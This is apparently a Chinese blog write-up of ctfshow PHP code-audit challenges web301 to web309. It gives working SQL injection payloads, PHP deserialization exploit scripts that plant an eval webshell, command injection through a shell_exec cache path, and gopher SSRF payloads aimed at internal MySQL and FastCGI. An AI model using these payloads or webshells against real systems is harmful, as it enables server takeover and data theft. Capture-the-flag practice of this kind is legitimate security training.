%3c php $this-%3e,ctfshow之php代码审计

web301

用 seay 啥也没审到。

直接手工来。

checklogin.php:<?php

error_reporting(0);

session_start();

require 'conn.php';

$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";

$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";

$username=$_POST['userid'];

$userpwd=$_POST['userpwd'];

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

$result=$mysqli->query($sql);

$row=$result->fetch_array(MYSQLI_BOTH);

if($result->num_rows<1){

$_SESSION['error']="1";

header("location:login.php");

return;

}

if(!strcasecmp($userpwd,$row['sds_password'])){

$_SESSION['login']=1;

$result->free();

$mysqli->close();

header("location:index.php");

return;

}

$_SESSION['error']="1";

header("location:login.php");

?>

这里很明显$username,没有过滤而产生 sql注入。

payload:userid=1'union select 1#&userpwd=1

成功登录,拿到flag.

web302

修改处if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

fun.php:<?php

function sds_decode($str){

return md5(md5($str.md5(base64_encode("sds")))."sds");

}

?>

在本地尝试一下:

36ce677b7167b21fbb1cbca2640265d0.png

构造payload:userid=1'union select "d9c77c4e454869d5d8da3b4be79694d3"#&userpwd=1

web303

seay审计,

1e91381f9d3245e1dac21c93a7b7f066.png

有注入漏洞,而用户名登陆出限制了用户名长度无法注入。

dptadd.php:$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

dpt.php:<?php

session_start();

require "conn.php";

if(!isset($_SESSION['login'])){

header("location:login.php");

}

?>

//注入点

$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;

$page=$_GET['id'];

$sql="select * from sds_dpt order by id;";

$result=$mysqli->query($sql);

?>

但前提是得登录。

尝试弱口令 admin/admin 登录成功。

在dptadd.php增加数据后,会在dpt.php中显示数据。

91f85b1aa79522516aa0024629550c14.png

构造paylaod:dpt_name=1',sds_address =(select database())#

# 得到 sds

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#

# 得到 sds_dpt,sds_fl9g,sds_user

dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#

# 得到 flag

dpt_name=1',sds_address =(select group_concat(flag) from sds_fl9g)#

web304

增加了全局waffunction sds_waf($str){

return preg_match('/[0-9]|[a-z]|-/i', $str);

}

但是还是可以注入。

payload:dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#

web305

多了waf:function sds_waf($str){

if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\/', $str)){

return false;

}else{

return true;

}

}

但是多了个反序列化写文件漏洞点。

class.php<?php

class user{

public $username;

public $password;

public function __construct($u,$p){

$this->username=$u;

$this->password=$p;

}

public function __destruct(){

file_put_contents($this->username, $this->password);

}

}

checklogin.php:require 'class.php';

$user_cookie = $_COOKIE['user'];

if(isset($user_cookie)){

$user = unserialize($user_cookie);

}

那么只需要传cookie即可利用返反序列化写文件。

exp:<?php

class user{

public $username;

public $password;

public function __construct($u,$p){

$this->username=$u;

$this->password=$p;

}

public function __destruct(){

file_put_contents($this->username, $this->password);

}

}

echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));

得到O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

在checklogin.php传入cookie值。即可写入shell.

蚁剑连接:

3c1e4ed7bed7cf912b2de0c521f3ee5e.png

连接数据库:

98a74bb1a2fb009e3a1ef64c3b040b30.png

a0ff3b9f9872ebb71a0f4638e52f323b.png

web306开始使用mvc结构

class.php:class log{

public $title='log.txt';

public $info='';

public function loginfo($info){

$this->info=$this->info.$info;

}

public function close(){

file_put_contents($this->title, $this->info);

}

}

又有反序列化写文件。但不同的是这里得手动调用函数close,而不是析构函数了。

但是在过程审计的时候,这里

login.php<?php

require 'class.php';

session_start();

error_reporting(0);

$user = unserialize(base64_decode($_COOKIE['user']));

if($user){

header("location:index.php");

}

只要cookie传入一个序列化后base64编码后的字符串都可以成功登录后台,但并没卵用。

接着审计。看看有没有地方调用close的。

在dao.php中:<?php

require 'config.php';

require 'class.php';

class dao{

private $config;

private $conn;

public function __construct(){

$this->config=new config();

$this->init();

}

private function init(){

$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());

}

public function __destruct(){

$this->conn->close();

}

public function get_user_password_by_username($u){

$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";

$result=$this->conn->query($sql);

$row=$result->fetch_array(MYSQLI_BOTH);

if($result->num_rows>0){

return $row['sds_password'];

}else{

return '';

}

}

}

他的析构函数正好调用$this->conn->close();,那么如果使其$this->conn为 log 类就可以成功了,恰巧这里也包含了 class.php ,require 'class.php';。

此时我们有需要去找一个调用dao的,找到index.php,<?php

session_start();

require "conn.php";

require "dao.php";

$user = unserialize(base64_decode($_COOKIE['user']));

if(!$user){

header("location:login.php");

}

?>

正好包含了dao.php,而且有反序列化unserialize。

Exp:<?php

class dao{

private $conn;

public function __construct(){

$this->conn=new log();

}

public function __destruct(){

$this->conn->close();

}

}

class log{

public $title='log.php';

public $info='<?php eval($_POST[1]);?>';

public function close(){

file_put_contents($this->title, $this->info);

}

}

echo base64_encode(serialize(new dao()));

把得到的字符串当作 cookie user 值访问 index.php,就可写入shell.

web307

8aad6863327a132f15f72a8eac02c74e.png

使用 seay 发现两处疑似漏洞点,第一处由于方法名closelog漏洞点无法利用。

第二处:

dao.phppublic function clearCache(){

shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');

}

我们可以通过 seay 全局搜索函数的功能找到那里调用此函数。

c6dbd846318dba624472be293c0aa9b4.png

审计代码,发现logout.php可利用:<?php

session_start();

error_reporting(0);

require 'service/service.php';

unset($_SESSION['login']);

unset($_SESSION['error']);

setcookie('user','',0,'/');

$service = unserialize(base64_decode($_COOKIE['service']));

if($service){

$service->clearCache();

}

setcookie('PHPSESSID','',0,'/');

setcookie('service','',0,'/');

header("location:../login.php");

?>

但是这里没有直接包含dao.php,

我们去看看service.php,发现其包含dao.php的,并且service 类也有调用函数public function clearCache(){

$this->dao->clearCache();

}

所以很明显了,这里利用logout.php进行反序列化任意执行命令的漏洞可以:通过 service.php 调用 dao 类调用其函数

直接调用 dao.php 调用其函数

因为这里$this->config->cache_dir还需要用到cache.dir, 他是config.php 中的变量,<?php

class config{

public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >1.php;';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

echo base64_encode(serialize(new dao()));

web308

与上题相比这里增加了过滤:public function clearCache(){

if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){

shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');

}

}

但是又有一尺 ssrf 可利用。

dao.php:public function checkVersion(){

return checkUpdate($this->config->update_url);

}

fun.phpfunction checkUpdate($url){

$ch=curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HEADER, false);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$res = curl_exec($ch);

curl_close($ch);

return $res;

}

在 index.php 中被调用:<?php

session_start();

error_reporting(0);

require 'controller/service/service.php';

if(!isset($_SESSION['login'])){

header("location:login.php");

}

$service = unserialize(base64_decode($_COOKIE['service']));

if($service){

$lastVersion=$service->checkVersion();

}

?>

利用 gopherus打内网 mysql.https://github.com/tarunkant/Gopherus

exp:<?php

class config{

public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>

19833852edd01f4b84a07c26b177f72a.png

得到 shell.

web309需要拿shell,308的方法不行了,mysql 有密码了

FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。https://www.anquanke.com/post/id/186186python2 gopherus.py --exploit fastcgi

exp:<?php

class config{

public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值